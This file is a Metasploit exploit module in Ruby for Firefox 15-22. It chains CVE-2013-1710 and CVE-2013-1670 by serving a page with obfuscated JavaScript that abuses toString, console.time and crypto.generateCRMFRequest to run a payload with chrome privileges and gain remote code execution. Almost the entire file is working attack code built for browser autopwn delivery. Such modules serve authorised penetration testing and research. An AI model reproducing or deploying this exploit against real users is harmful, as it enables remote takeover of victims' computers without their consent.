/modules/exploits/multi/browser/firefox_tostring_console_injection.rb

https://github.com/jduck/metasploit-framework · Ruby · 103 lines · 86 code · 11 blank · 6 comment · 1 complexity · eac79acde1df0e715d88685796f8267b MD5 · raw file

  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'rex/exploitation/jsobfu'
  7. class MetasploitModule < Msf::Exploit::Remote
  8. Rank = ExcellentRanking
  9. include Msf::Exploit::Remote::BrowserExploitServer
  10. include Msf::Exploit::Remote::BrowserAutopwn
  11. include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
  12. autopwn_info({
  13. :ua_name => HttpClients::FF,
  14. :ua_minver => "15.0",
  15. :ua_maxver => "22.0",
  16. :javascript => true,
  17. :rank => ExcellentRanking
  18. })
  19. def initialize(info = {})
  20. super(update_info(info,
  21. 'Name' => 'Firefox toString console.time Privileged Javascript Injection',
  22. 'Description' => %q{
  23. This exploit gains remote code execution on Firefox 15-22 by abusing two separate
  24. Javascript-related vulnerabilities to ultimately inject malicious Javascript code
  25. into a context running with chrome:// privileges.
  26. },
  27. 'License' => MSF_LICENSE,
  28. 'Author' => [
  29. 'moz_bug_r_a4', # discovered CVE-2013-1710
  30. 'Cody Crews', # discovered CVE-2013-1670
  31. 'joev' # metasploit module
  32. ],
  33. 'DisclosureDate' => "May 14 2013",
  34. 'References' => [
  35. ['CVE', '2013-1710'] # chrome injection
  36. ],
  37. 'Targets' => [
  38. [
  39. 'Universal (Javascript XPCOM Shell)', {
  40. 'Platform' => 'firefox',
  41. 'Arch' => ARCH_FIREFOX
  42. }
  43. ],
  44. [
  45. 'Native Payload', {
  46. 'Platform' => %w{ java linux osx solaris win },
  47. 'Arch' => ARCH_ALL
  48. }
  49. ]
  50. ],
  51. 'DefaultTarget' => 0,
  52. 'BrowserRequirements' => {
  53. :source => 'script',
  54. :ua_name => HttpClients::FF,
  55. :ua_ver => lambda { |ver| ver.to_i.between?(15, 22) }
  56. }
  57. ))
  58. register_options([
  59. OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])
  60. ], self.class)
  61. end
  62. def on_request_exploit(cli, request, target_info)
  63. send_response_html(cli, generate_html(target_info))
  64. end
  65. def generate_html(target_info)
  66. key = Rex::Text.rand_text_alpha(5 + rand(12))
  67. opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
  68. js = js_obfuscate %Q|
  69. var opts = #{JSON.unparse(opts)};
  70. var key = opts['#{key}'];
  71. var y = {}, q = false;
  72. y.constructor.prototype.toString=function() {
  73. if (q) return;
  74. q = true;
  75. crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex");
  76. return 5;
  77. };
  78. console.time(y);
  79. |
  80. %Q|
  81. <!doctype html>
  82. <html>
  83. <body>
  84. <script>
  85. #{js}
  86. </script>
  87. #{datastore['CONTENT']}
  88. </body>
  89. </html>
  90. |
  91. end
  92. end